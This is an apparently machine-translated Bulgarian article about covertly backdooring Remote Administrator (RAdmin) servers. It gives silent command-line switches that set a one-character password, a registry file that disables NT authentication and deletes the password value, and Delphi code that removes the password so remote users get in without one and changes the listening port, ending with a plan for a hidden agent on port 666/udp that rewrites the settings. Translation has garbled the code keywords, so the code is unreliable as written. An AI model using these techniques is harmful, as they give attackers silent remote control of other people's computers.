Remote Administrator приказка за военна тайна №2
Някои бягат през вратата, други се качват през прозореца, други прескачат оградата от плет.
Друга функция на RAdmin е използването на превключватели на командния ред при стартиране на сървъра (r_server.exe). Тук идва още една функция на програмата. Тези, които са си играли дълго време с настройките на различни параметри през GUI, знаят, че има някои ограничения при задаването на определени стойности, например не можете да зададете парола с дължина по-малка от осем знака или време за изчакване, по-голямо от 999 секунди. Нека проверим дали това е така в командния ред. И се оказва, че например командата r_server /pass:1 /save /silence работи добре, въпреки ограниченията на интерфейса. Чакай малко, какво ще кажеш за номера на порта? В съответствие със стандартите номерът на порта на TCP пакет не може да надвишава стойността 65535. Опитваме - r_server /port:65536 /save /silence - не работи (стойността "0" също не работи, можете да повярвате на думата ми). И ако опитате през регистъра? Това също не работи, когато посочите стойност, по-голяма от ff ff 00 00, номерът на порта остава равен на 65535. Съжаляваме...
Всеки иска да помогне. Само един Малчиш-Плохиш искаше да се присъедини към буржоазията.
Windows Registry Editor версия 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters] "NTAuthEnabled"=hex:00,00,00,00 "Port"=hex:23,23,00,00 "Parameter"=-
използва Windows, съобщения, SysUtils, варианти, класове, графики, контроли, формуляри, диалози, регистър;
След това декларираме променлива, която идентифицира нашия локален регистър:
var Form1: TForm1; Reg:TRegistry;
Добавяме променливи и методи за създаване на екземпляр на класа TRegistry, когато програмата стартира (събитието TForm1.OnCreate) и го изтриваме, когато излезе (събитиетоTForm1.OnClose).
процедура TForm1.FormCreate(Подател: TObject); begin Reg:=TRegistry.Create; край;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); започнете Без регистрация; край;
По принцип всичко е готово за работа с регистъра. Нека зададем главния ключ на системния регистър, който ни интересува:
Сега нека създадем бутон btnDeletePsw за изтриване на стойността на параметъра Parameter в секцията SYSTEM\RAdmin\v2.0\Server\Parameters. В манипулатора на този бутон записваме кода, отговорен за изтриването на ключа
процедура TForm1.btnDeletePswClick(Подател: TObject); започнете Reg.RootKey:=HKEY_LOCAL_MACHINE; Reg.Access:=KEY_WRITE; Reg.OpenKey('SYSTEM\RAdmin\v2.0\Server\Parameters\', False); Reg.DeleteValue('Параметър'); край;
Ключът на системния регистър е премахнат и сега RAdmin ще пусне отдалечения потребител без парола. Нека се опитаме програмно да зададем номера на порта за RAdmin. Нека създадем още един бутон на формата - btnSetPort и текстовата стойност sPort, в която ще въведем необходимия номер на порт. В системния регистър стойността на типа REG_BINARY отговаря за номера на порта, така че ще трябва да използваме метода WriteBinaryData.
процедура TForm1.btnSetPortClick(Подател: TObject); Променлива s:Цяло число; започнете Reg.RootKey:=HKEY_LOCAL_MACHINE; Reg.Access:=KEY_WRITE; I:=Reg.OpenKey('SYSTEM\RAdmin\v2.0\Server\Parameters\', False); s:=StrToInt(sPort.Text); Reg.WriteBinaryData('Port',s,SizeOf(s)); край;
И така, номерът на порта се промени и компютърът очаква с нетърпение нови собственици. Използвайки горните методи, можете да извършите всяко възможно действие върху програмата RAdmin. В идеалния случай завършената програма трябва да бъде приложение без GUI, работещо в контекста на акаунт с подходящиправа, изчакване на мрежови пакети с контролна информация на конкретен порт (например 666/ udp) и тихо модифициране на регистъра с параметри за RAdmin. Като.